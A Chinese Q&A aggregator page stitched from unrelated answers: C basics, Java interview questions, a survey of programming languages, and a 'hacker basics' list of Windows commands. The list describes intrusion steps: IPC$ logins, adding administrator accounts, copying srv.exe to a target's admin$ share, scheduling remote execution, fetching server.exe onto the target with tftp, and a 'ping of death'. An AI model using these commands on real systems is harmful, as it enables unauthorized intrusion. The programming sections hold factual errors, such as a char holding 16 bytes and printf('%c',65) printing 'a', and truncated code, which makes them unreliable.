導航:首頁 > 源碼編譯 > c語言編譯錯誤集錦

c語言編譯錯誤集錦

發布時間:2023-07-30 23:41:34

❶ C語言基礎知識點

C語言基礎知識點集錦

【知識點1】C程序

C語言程序結構有三種: 順序結構 , 循環結構(三個循環結構), 選擇結構(if 和 switch)

【知識點2】main函數

每個C語言程序中main 函數是有且只有一個。讀程序都要從main()入口, 然後從最上面順序往下讀(碰到循環做循環,碰到選擇做選擇)。

【知識點3】存儲形式

計算機的數據在電腦中是以二進制的形式保存。最低的存儲單元是bit(位),位是由為 0 或者1構成。 byte 是指位元組, 一個位元組 = 八個位。數據存放的位置就是它的地址。

【知識點4】注釋

是對程序的說明,可出現在程序中任意合適的地方,注釋從「/*」開始到最近一個「*/」結束,其間任何內容都不會被計算機執行,注釋不可以嵌套。

【知識點5】書寫格式

每條語句的後面必須有一個分號,分號是語句的一部分。一行內可寫多條語句,一個語句可寫在多行上。

【知識點6】標識符

合法的用戶標識符考查:

合法的要求是由字母,數字,下劃線組成。有其它元素就錯了。

並且第一個必須為字母或則是下劃線。第一個為數字就錯了。

C語言標識符分如下3類

(1)關鍵字。它們在程序中有固定的含義,不能另作他用。如int、for、switch等。

(2)預定義標識符。預先定義並具有特定含義的標識符。如define、include等。

(3)用戶標識符。用戶根據需要定義的標識符,符合命名規則且不與關鍵字相同。

關鍵字不可以作為用戶標識符號。main define scanf printf 都不是關鍵字。迷惑你的地方If 是可以做為用戶標識符。因為If 中的第一個字母大寫了,所以不是關鍵字。

【知識點7】實型數據

實型數據的.合法形式:小數形式和指數形式。掌握判定指數形式合法性。

2.333e-1 就是合法的,且數據是2.333×10-1。

【知識點8】字元

字元數據的合法形式::

1 是字元佔一個位元組,"1"是字元串占兩個位元組(含有一個結束符號)。

0 的ASCII 數值表示為48,a 的ASCII 數值是97,A的ASCII 數值是65。

字元型和整數是近親:

char a = 65 ;

printf(「%c」, a); 得到的輸出結果:a

printf(「%d」, a); 得到的輸出結果:65

一般考試表示單個字元錯誤的形式:65 "1"

字元是可以進行算術運算的,記住: 0-0=48

大寫字母和小寫字母轉換的方法: A+32=a 相互之間一般是相差32。

【知識點9】整型數據

整型一般是兩個位元組, 字元型是一個位元組,雙精度一般是4 個位元組:

考試時候一般會說,在16 位編譯系統,或者是32 位系統。碰到這種情況,不要去管,

一樣做題。掌握整型一般是兩個位元組, 字元型是一個位元組,雙精度一般是4 個位元組就可以了。

【知識點10】轉義字元

轉義字元的考查:

在程序中 int a = 0x6d,是把一個十六進制的數給變數a 注意這里的0x 必須存在。

在程序中 int a = 06d, 是一個八進制的形式。

在轉義字元中, 』x6d』 才是合法的,0 不能寫,並且x 是小寫。

『141』 是合法的, 0 是不能寫的。

『108』是非法的,因為不可以出現8。

【知識點11】算術運算

算術運算符一共有+、—、*、/、%這五個。%符號兩邊要求是整數。不是整數就錯了。

三種取整丟小數的情況:不是四捨五入是舍掉小數部分。

1、int a =1.6;

2、(int)a;

3、1/2; 3/2;

【知識點12】強制類型轉換

將一個運算對象轉換成指定類型,格式為(類型名)表達式

一定是 (int)a 不是 int(a),注意類型上一定有括弧的。

注意(int)(a+b) 和(int)a+b 的區別。前是把a+b 轉型,後是把a 轉型再加b。

【知識點13】賦值

是表達式就一定有數值。

賦值表達式:表達式數值是最左邊的數值,a=b=5;該表達式為5,常量不可以賦值。

復合賦值運算符:注意:a*=m+2 是 a=a*(m+2)

自加、自減表達式:假設a=5,++a(表達式的值為6), a++(表達式的值為5);

j=a++;等價於j=a;a=a+1; 而j=++a;等價於a=a+1;j=a;。

考試口訣:++在前先加後用,++在後先用後加。

【知識點14】逗號運算

逗號表達式:優先順序別最低; 表達式的數值逗號最右邊的那個表達式的數值。

(2,3,4)的表達式的數值就是4。

【知識點15】數制轉換

一定要記住二進制 如何轉換成十進制。

八進制是沒有8 的,逢8 進1,018 的數值是非法的。

❷ 求程序員面試題

java面試題集集錦

1.C++或Java中的異常處理機制的簡單原理和應用。

當JAVA程序違反了JAVA的語義規則時,JAVA虛擬機就會將發生的錯誤表示為一個異常。違反語義規則包括2種情況。一種是JAVA類庫內置的語義檢查。例如數組下標越界,會引發IndexOutOfBoundsException;訪問null的對象時會引發 NullPointerException。另一種情況就是JAVA允許程序員擴展這種語義檢查,程序員可以創建自己的異常,並自由選擇在何時用 throw關鍵字引發異常。所有的異常都是java.lang.Thowable的子類。

2. Java的介面和C++的虛類的相同和不同處。

由於Java不支持多繼承,而有可能某個類或對象要使用分別在幾個類或對象裡面的方法或屬性,現有的單繼承機制就不能滿足要求。與繼承相比,介面有更高的靈活性,因為介面中沒有任何實現代碼。當一個類實現了介面以後,該類要實現介面裡面所有的方法和屬性,並且介面裡面的屬性在默認狀態下面都是 public static,所有方法默認情況下是public.一個類可以實現多個介面。

3. 垃圾回收的優點和原理。並考慮2種回收機制。

Java語言中一個顯著的特點就是引入了垃圾回收機制,使c++程序員最頭疼的內存管理的問題迎刃而解,它使得Java程序員在編寫程序的時候不再需要考慮內存管理。由於有個垃圾回收機制,Java中的對象不再有「作用域」的概念,只有對象的引用才有「作用域」。垃圾回收可以有效的防止內存泄露,有效的使用可以使用的內存。垃圾回收器通常是作為一個單獨的低級別的線程運行,不可預知的情況下對內存堆中已經死亡的或者長時間沒有使用的對象進行清楚和回收,程序員不能實時的調用垃圾回收器對某個對象或所有對象進行垃圾回收。回收機制有分代復制垃圾回收和標記垃圾回收,增量垃圾回收。

4. 請說出你所知道的線程同步的方法。

wait():使一個線程處於等待狀態,並且釋放所持有的對象的lock。

sleep():使一個正在運行的線程處於睡眠狀態,是一個靜態方法,調用此方法要捕捉InterruptedException異常。

notify():喚醒一個處於等待狀態的線程,注意的是在調用此方法的時候,並不能確切的喚醒某一個等待狀態的線程,而是由JVM確定喚醒哪個線程,而且不是按優先順序。

Allnotity():喚醒所有處入等待狀態的線程,注意並不是給所有喚醒線程一個對象的鎖,而是讓它們競爭。

5. 請講一講析構函數和虛函數的用法和作用。

6. Error與Exception有什麼區別?

Error表示系統級的錯誤和程序不必處理的異常,

Exception表示需要捕捉或者需要程序進行處理的異常。

7. 在java中一個類被聲明為final類型,表示了什麼意思?

表示該類不能被繼承,是頂級類。

8. 描述一下你最常用的編程風格。

9. heap和stack有什麼區別。

棧是一種線形集合,其添加和刪除元素的操作應在同一段完成。棧按照後進先出的方式進行處理。

堆是棧的一個組成元素

10. 如果系統要使用超大整數(超過long長度范圍),請你設計一個數據結構來存儲這種超大型數字以及設計一種演算法來實現超大整數加法運算)。

public class BigInt()

{

int[] ArrOne = new ArrOne[1000];

String intString="";

public int[] Arr(String s)

{

intString = s;

for(int i=0;i
{

11. 如果要設計一個圖形系統,請你設計基本的圖形元件(Point,Line,Rectangle,Triangle)的簡單實現

12,談談final, finally, finalize的區別。

final—修飾符(關鍵字)如果一個類被聲明為final,意味著它不能再派生出新的子類,不能作為父類被繼承。因此一個類不能既被聲明為 abstract的,又被聲明為final的。將變數或方法聲明為final,可以保證它們在使用中不被改變。被聲明為final的變數必須在聲明時給定初值,而在以後的引用中只能讀取,不可修改。被聲明為final的方法也同樣只能使用,不能重載。

finally—再異常處理時提供 finally 塊來執行任何清除操作。如果拋出一個異常,那麼相匹配的 catch 子句就會執行,然後控制就會進入 finally 塊(如果有的話)。

finalize—方法名。Java 技術允許使用 finalize() 方法在垃圾收集器將對象從內存中清除出去之前做必要的清理工作。這個方法是由垃圾收集器在確定這個對象沒有被引用時對這個對象調用的。它是在 Object 類中定義的,因此所有的類都繼承了它。子類覆蓋 finalize() 方法以整理系統資源或者執行其他清理工作。finalize() 方法是在垃圾收集器刪除對象之前對這個對象調用的。

13,Anonymous Inner Class (匿名內部類) 是否可以extends(繼承)其它類,是否可以implements(實現)interface(介面)?

匿名的內部類是沒有名字的內部類。不能extends(繼承) 其它類,但一個內部類可以作為一個介面,由另一個內部類實現。

14,Static Nested Class 和 Inner Class的不同,說得越多越好(面試題有的很籠統)。

Nested Class (一般是C++的說法),Inner Class (一般是JAVA的說法)。Java內部類與C++嵌套類最大的不同就在於是否有指向外部的引用上。具體可見http: //www.frontfree.net/articles/services/view.asp?id=704&page=1

註: 靜態內部類(Inner Class)意味著1創建一個static內部類的對象,不需要一個外部類對象,2不能從一個static內部類的一個對象訪問一個外部類對象

第四,&和&&的區別。

&是位運算符。&&是布爾邏輯運算符。

15,HashMap和Hashtable的區別。

都屬於Map介面的類,實現了將惟一鍵映射到特定的值上。

HashMap 類沒有分類或者排序。它允許一個 null 鍵和多個 null 值。

Hashtable 類似於 HashMap,但是不允許 null 鍵和 null 值。它也比 HashMap 慢,因為它是同步的。

16,Collection 和 Collections的區別。

Collections是個java.util下的類,它包含有各種有關集合操作的靜態方法。

Collection是個java.util下的介面,它是各種集合結構的父介面。

17,什麼時候用assert。

斷言是一個包含布爾表達式的語句,在執行這個語句時假定該表達式為 true。如果表達式計算為 false,那麼系統會報告一個 Assertionerror。它用於調試目的:

assert(a > 0); // throws an Assertionerror if a <= 0

斷言可以有兩種形式:

assert Expression1 ;

assert Expression1 : Expression2 ;

Expression1 應該總是產生一個布爾值。

Expression2 可以是得出一個值的任意表達式。這個值用於生成顯示更多調試信息的 String 消息。

斷言在默認情況下是禁用的。要在編譯時啟用斷言,需要使用 source 1.4 標記:

javac -source 1.4 Test.java

要在運行時啟用斷言,可使用 -enableassertions 或者 -ea 標記。

要在運行時選擇禁用斷言,可使用 -da 或者 -disableassertions 標記。

要系統類中啟用斷言,可使用 -esa 或者 -dsa 標記。還可以在包的基礎上啟用或者禁用斷言。

可以在預計正常情況下不會到達的任何位置上放置斷言。斷言可以用於驗證傳遞給私有方法的參數。不過,斷言不應該用於驗證傳遞給公有方法的參數,因為不管是否啟用了斷言,公有方法都必須檢查其參數。不過,既可以在公有方法中,也可以在非公有方法中利用斷言測試後置條件。另外,斷言不應該以任何方式改變程序的狀態。

18,GC是什麼? 為什麼要有GC? (基礎)。

GC是垃圾收集器。Java 程序員不用擔心內存管理,因為垃圾收集器會自動進行管理。要請求垃圾收集,可以調用下面的方法之一:

System.gc()

Runtime.getRuntime().gc()

19,String s = new String("xyz");創建了幾個String Object?

兩個對象,一個是「xyx」,一個是指向「xyx」的引用對象s。

20,Math.round(11.5)等於多少? Math.round(-11.5)等於多少?

Math.round(11.5)返回(long)12,Math.round(-11.5)返回(long)-11;

21,short s1 = 1; s1 = s1 + 1;有什麼錯? short s1 = 1; s1 += 1;有什麼錯?

short s1 = 1; s1 = s1 + 1;有錯,s1是short型,s1+1是int型,不能顯式轉化為short型。可修改為s1 =(short)(s1 + 1) 。short s1 = 1; s1 += 1正確。

22,sleep() 和 wait() 有什麼區別? 搞線程的最愛

sleep()方法是使線程停止一段時間的方法。在sleep 時間間隔期滿後,線程不一定立即恢復執行。這是因為在那個時刻,其它線程可能正在運行而且沒有被調度為放棄執行,除非(a)「醒來」的線程具有更高的優先順序 (b)正在運行的線程因為其它原因而阻塞。

wait()是線程交互時,如果線程對一個同步對象x 發出一個wait()調用,該線程會暫停執行,被調對象進入等待狀態,直到被喚醒或等待時間到。

23,Java有沒有goto?

Goto—java中的保留字,現在沒有在java中使用。

24,數組有沒有length()這個方法? String有沒有length()這個方法?

數組沒有length()這個方法,有length的屬性。

String有有length()這個方法。

25,Overload和Override的區別。Overloaded的方法是否可以改變返回值的類型?

方法的重寫Overriding和重載Overloading是Java多態性的不同表現。重寫Overriding是父類與子類之間多態性的一種表現,重載Overloading是一個類中多態性的一種表現。如果在子類中定義某方法與其父類有相同的名稱和參數,我們說該方法被重寫 (Overriding)。子類的對象使用這個方法時,將調用子類中的定義,對它而言,父類中的定義如同被「屏蔽」了。如果在一個類中定義了多個同名的方法,它們或有不同的參數個數或有不同的參數類型,則稱為方法的重載(Overloading)。Overloaded的方法是可以改變返回值的類型。

26,Set里的元素是不能重復的,那麼用什麼方法來區分重復與否呢? 是用==還是equals()? 它們有何區別?

Set里的元素是不能重復的,那麼用iterator()方法來區分重復與否。equals()是判讀兩個Set是否相等。

equals()和==方法決定引用值是否指向同一對象equals()在類中被覆蓋,為的是當兩個分離的對象的內容和類型相配的話,返回真值。

27,給我一個你最常見到的runtime exception。

ArithmeticException, ArrayStoreException, BufferOverflowException, BufferUnderflowException, CannotRedoException, CannotUndoException, ClassCastException, CMMException, , DOMException, EmptyStackException, IllegalArgumentException, IllegalMonitorStateException, IllegalPathStateException, IllegalStateException,

ImagingOpException, IndexOutOfBoundsException, MissingResourceException, NegativeArraySizeException, NoSuchElementException, NullPointerException, ProfileDataException, ProviderException, RasterFORMatException, SecurityException, SystemException, UndeclaredThrowableException, UnmodifiableSetException, UnsupportedOperationException

28,error和exception有什麼區別?

error 表示恢復不是不可能但很困難的情況下的一種嚴重問題。比如說內存溢出。不可能指望程序能處理這樣的情況。

exception 表示一種設計或實現問題。也就是說,它表示如果程序運行正常,從不會發生的情況。

29,List, Set, Map是否繼承自Collection介面?

List,Set是

Map不是

30,abstract class和interface有什麼區別?

聲明方法的存在而不去實現它的類被叫做抽象類(abstract class),它用於要創建一個體現某些基本行為的類,並為該類聲明方法,但不能在該類中實現該類的情況。不能創建abstract 類的實例。然而可以創建一個變數,其類型是一個抽象類,並讓它指向具體子類的一個實例。不能有抽象構造函數或抽象靜態方法。Abstract 類的子類為它們父類中的所有抽象方法提供實現,否則它們也是抽象類為。取而代之,在子類中實現該方法。知道其行為的其它類可以在類中實現這些方法。

介面(interface)是抽象類的變體。在介面中,所有方法都是抽象的。多繼承性可通過實現這樣的介面而獲得。介面中的所有方法都是抽象的,沒有一個有程序體。介面只可以定義static final成員變數。介面的實現與子類相似,除了該實現類不能從介面定義中繼承行為。當類實現特殊介面時,它定義(即將程序體給予)所有這種介面的方法。然後,它可以在實現了該介面的類的任何對象上調用介面的方法。由於有抽象類,它允許使用介面名作為引用變數的類型。通常的動態聯編將生效。引用可以轉換到介面類型或從介面類型轉換,instanceof 運算符可以用來決定某對象的類是否實現了介面。

31,abstract的method是否可同時是static,是否可同時是native,是否可同時是synchronized?

都不能

32,介面是否可繼承介面? 抽象類是否可實現(implements)介面? 抽象類是否可繼承實體類(concrete class)?

介面可以繼承介面。抽象類可以實現(implements)介面,抽象類是否可繼承實體類,但前提是實體類必須有明確的構造函數。

33,啟動一個線程是用run()還是start()?

啟動一個線程是調用start()方法,使線程所代表的虛擬處理機處於可運行狀態,這意味著它可以由JVM調度並執行。這並不意味著線程就會立即運行。run()方法可以產生必須退出的標志來停止一個線程。

34,構造器Constructor是否可被override?

構造器Constructor不能被繼承,因此不能重寫Overriding,但可以被重載Overloading。

35,是否可以繼承String類?

String類是final類故不可以繼承。

36,當一個線程進入一個對象的一個synchronized方法後,其它線程是否可進入此對象的其它方法?

不能,一個對象的一個synchronized方法只能由一個線程訪問。

37,try {}里有一個return語句,那麼緊跟在這個try後的finally {}里的code會不會被執行,什麼時候被執行,在return前還是後?

會執行,在return前執行。

38,編程題: 用最有效率的方法算出2乘以8等於幾?

有C背景的程序員特別喜歡問這種問題。

2 << 3

39,兩個對象值相同(x.equals(y) == true),但卻可有不同的hash code,這句話對不對?

不對,有相同的hash code。

40,當一個對象被當作參數傳遞到一個方法後,此方法可改變這個對象的屬性,並可返回變化後的結果,那麼這里到底是值傳遞還是引用傳遞?

是值傳遞。Java 編程語言只由值傳遞參數。當一個對象實例作為一個參數被傳遞到方法中時,參數的值就是對該對象的引用。對象的內容可以在被調用的方法中改變,但對象的引用是永遠不會改變的。

41,swtich是否能作用在byte上,是否能作用在long上,是否能作用在String上?

switch(expr1)中,expr1是一個整數表達式。因此傳遞給 switch 和 case 語句的參數應該是 int、 short、 char 或者 byte。long,string 都不能作用於swtich。

42,編程題: 寫一個Singleton出來。

Singleton模式主要作用是保證在Java應用程序中,一個類Class只有一個實例存在。

一般Singleton模式通常有幾種種形式:

第一種形式:定義一個類,它的構造函數為private的,它有一個static的private的該類變數,在類初始化時實例話,通過一個public的getInstance方法獲取對它的引用,繼而調用其中的方法。

public class Singleton {

private Singleton(){}

//在自己內部定義自己一個實例,是不是很奇怪?

//注意這是private 只供內部調用

private static Singleton instance = new Singleton();

//這里提供了一個供外部訪問本class的靜態方法,可以直接訪問

public static Singleton getInstance() {

return instance;

}

}

第二種形式:

public class Singleton {

private static Singleton instance = null;

public static synchronized Singleton getInstance() {

//這個方法比上面有所改進,不用每次都進行生成對象,只是第一次

//使用時生成實例,提高了效率!

if (instance==null)

instance=new Singleton();

return instance; }

}

其他形式:

定義一個類,它的構造函數為private的,所有方法為static的。

一般認為第一種形式要更加安全些

Hashtable和HashMap

Hashtable繼承自Dictionary類,而HashMap是Java1.2引進的Map interface的一個實現

HashMap允許將null作為一個entry的key或者value,而Hashtable不允許

還有就是,HashMap把Hashtable的contains方法去掉了,改成containsvalue和containsKey。因為contains方法容易讓人引起誤解。

最大的不同是,Hashtable的方法是Synchronize的,而HashMap不是,在

多個線程訪問Hashtable時,不需要自己為它的方法實現同步,而HashMap

就必須為之提供外同步。

Hashtable和HashMap採用的hash/rehash演算法都大概一樣,所以性能不會有很大的差異。

43.描述一下JVM載入class文件的原理機制?

44.試舉例說明一個典型的垃圾回收演算法?

45.請用java寫二*樹演算法,實現添加數據形成二*樹功能,並以先序的方式列印出來.

46.請寫一個java程序實現線程連接池功能?

47.給定一個C語言函數,要求實現在java類中進行調用。

48、編一段代碼,實現在控制台輸入一組數字後,排序後在控制台輸出;

49、列出某文件夾下的所有文件;

50、調用系統命令實現刪除文件的操作;

51、實現從文件中一次讀出一個字元的操作;

52、列出一些控制流程的方法;

53、多線程有哪些狀態?

54、編寫了一個伺服器端的程序實現在客戶端輸入字元然後在控制台上顯示,直到輸入"END"為止,讓你寫出客戶端的程序;

55、作用域public,private,protected,以及不寫時的區別

答:區別如下:

作用域 當前類 同一package 子孫類 其他package

public √ √ √ √

protected √ √ √ ×

friendly √ √ × ×

private √ × × ×

不寫時默認為friendly

56、ArrayList和Vector的區別,HashMap和Hashtable的區別

答:就ArrayList與Vector主要從二方面來說.

一.同步性:Vector是線程安全的,也就是說是同步的,而ArrayList是線程序不安全的,不是同步的

二.數據增長:當需要增長時,Vector默認增長為原來一培,而ArrayList卻是原來的一半

就HashMap與HashTable主要從三方面來說。

一.歷史原因:Hashtable是基於陳舊的Dictionary類的,HashMap是Java 1.2引進的Map介面的一個實現

二.同步性:Hashtable是線程安全的,也就是說是同步的,而HashMap是線程序不安全的,不是同步的

三.值:只有HashMap可以讓你將空值作為一個表的條目的key或value

57、char型變數中能不能存貯一個中文漢字?為什麼?

答:是能夠定義成為一個中文的,因為java中以unicode編碼,一個char佔16個位元組,所以放一個中文是沒問題的

❸ 初學編程

計算機語言的種類非常的多,總的來說可以分成機器語言,匯編語言,高級語言三大類。

電腦每做的一次動作,一個步驟,都是按照以經用計算機語言編好的程序來執行的,程序是計算機要執行的指令的集合,而程序全部都是用我們所掌握的語言來編寫的。所以人們要控制計算機一定要通過計算機語言向計算機發出命令。

計算機所能識別的語言只有機器語言,即由0和1構成的代碼。但通常人們編程時,不採用機器語言,因為它非常難於記憶和識別。

目前通用的編程語言有兩種形式:匯編語言和高級語言。

匯編語言的實質和機器語言是相同的,都是直接對硬體操作,只不過指令採用了英文縮寫的標識符,更容易識別和記憶。它同樣需要編程者將每一步具體的操作用命令的形式寫出來。匯編程序通常由三部分組成:指令、偽指令和宏指令。匯編程序的每一句指令只能對應實際操作過程中的一個很細微的動作,例如移動、自增,因此匯編源程序一般比較冗長、復雜、容易出錯,而且使用匯編語言編程需要有更多的計算機專業知識,但匯編語言的優點也是顯而易見的,用匯編語言所能完成的操作不是一般高級語言所能實現的,而且源程序經匯編生成的可執行文件不僅比較小,而且執行速度很快。

高級語言是目前絕大多數編程者的選擇。和匯編語言相比,它不但將許多相關的機器指令合成為單條指令,並且去掉了與具體操作有關但與完成工作無關的細節,例如使用堆棧、寄存器等,這樣就大大簡化了程序中的指令。同時,由於省略了很多細節,編程者也就不需要有太多的專業知識。

高級語言主要是相對於匯編語言而言,它並不是特指某一種具體的語言,而是包括了很多編程語言,如目前流行的VB、VC、FoxPro、Delphi等,這些語言的語法、命令格式都各不相同。

高級語言所編制的程序不能直接被計算機識別,必須經過轉換才能被執行,按轉換方式可將它們分為兩類:

解釋類:執行方式類似於我們日常生活中的「同聲翻譯」,應用程序源代碼一邊由相應語言的解釋器「翻譯」成目標代碼(機器語言),一邊執行,因此效率比較低,而且不能生成可獨立執行的可執行文件,應用程序不能脫離其解釋器,但這種方式比較靈活,可以動態地調整、修改應用程序。

編譯類:編譯是指在應用源程序執行之前,就將程序源代碼「翻譯」成目標代碼(機器語言),因此其目標程序可以脫離其語言環境獨立執行,使用比較方便、效率較高。但應用程序一旦需要修改,必須先修改源代碼,再重新編譯生成新的目標文件(* .OBJ)才能執行,只有目標文件而沒有源代碼,修改很不方便。現在大多數的編程語言都是編譯型的,例如Visual C++、Visual Foxpro、Delphi等。

[NextPage]

學習編程,從何入手

如果您想學習編程,卻又不知從何入手,那麼您不妨看看下面的幾種學習方案,可能會給您一些啟示吧!
==============================================
方案一 Basic語言 & Visual Basic

優點
(1)Basic 簡單易學,很容易上手。
(2)Visual Basic 提供了強大的可視化編程能力,可以讓你輕松地做出漂亮的程序。
(3)眾多的控制項讓編程變得象壘積木一樣簡單。
(4)Visual Basic 的全部漢化讓我們這些見了English就頭大的人喜不自禁。

缺點
(1)Visual Basic 不是真正的面向對象的開發文具。
(2)Visual Basic 的數據類型太少,而且不支持指針,這使得它的表達能力很有限。
(3)Visual Basic 不是真正的編譯型語言,它產生的最終代碼不是可執行的,是一種偽代碼。它需要一個動態鏈接庫去解釋執行,這使得Visual Basic 的編譯速度大大變慢。

綜述:方案一適合初涉編程的朋友,它對學習者的要求不高,幾乎每個人都可以在一個比較短的時間里學會vB編程,並用VB 做出自己的作品。對於那些把編程當做游戲的朋友來說,VB 是您最佳的選擇。

Basic/Visual Basic簡介
==============================================
方案二 Pascal語言 & Delphi

優點
(1)Pascal語言結構嚴謹,可以很好地培養一個人的編程思想。
(2)Delphi是一門真正的面向對象的開發工具,並且是完全的可視化。
(3)Delphi使用了真編譯,可以讓你的代碼編譯成為可執行的文件,而且編譯速度非常快。
(4)Delphi具有強大的資料庫開發能力,可以讓你輕松地開發資料庫。

缺點
Delphi幾乎可以說是完美的,只是Pascal語言的過於嚴謹讓人感覺有點煩。

綜述: 方案二比較適合那些具有一定編程基礎並且學過Pascal語言的朋友。

Pascal語言簡介
Delphi簡介
==============================================
方案三 C語言 & Visual C++

優點
(1)C語言靈活性好,效率高,可以接觸到軟體開發比較底層的東西。
(2)微軟的MFC庫博大精深,學會它可以讓隨心所欲地進行編程。
(3)VC是微軟製作的產品,與操作系統的結合更加緊密。

缺點
對使用者的要求比較高,既要具備豐富的C語言編程經驗,又要具有一定的WINDOWS編程基礎,它的過於專業使得一般的編程愛好者學習起來會有不小的困難。

綜述: VC是程序員用的東西。如果你是一個永不滿足的人,而且可以在編程上投入很大的精力和時間,那麼學習VC你一定不會後悔的。

C語言簡介
==============================================
方案四 C++語言 & C++ Builder

優點
(1)C++語言的優點全部得以繼承。
(2)完全的可是化。
(3)極強的兼容性,支持OWL、VCL和MFC三大類庫。
(4)編譯速度非常快。

缺點
由於推出的時間太短,關於它的各種資料還不太多。

綜述:我認為C++ Builder 是最好的編程工具。它既保持了C++語言編程的優點,又做到了完全的可視化。

❹ 電腦運行命令

黑客基礎之DOS (最齊全)

--------------------------------------------------------------------------------
net use $">\\ip\ipc$ " " /user:" " 建立IPC空鏈接
net use $">\\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: $">\\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: $">\\ip\c$ 登陸後映射對方C:到本地為H:
net use $">\\ip\ipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view \\ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件

del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑\文件名1 路徑\文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:\srv.exe $">\\ip\admin$ 復制本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
$\svv.exe">\\ip\admin$\svv.exe c:\ 或:\\ip\admin$\*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C:
x 要復制的文件或目錄樹 目標地址\目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後,將「IP」的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:\server.exe 登陸後,上傳本地c:\server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:「:start」標簽)
call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
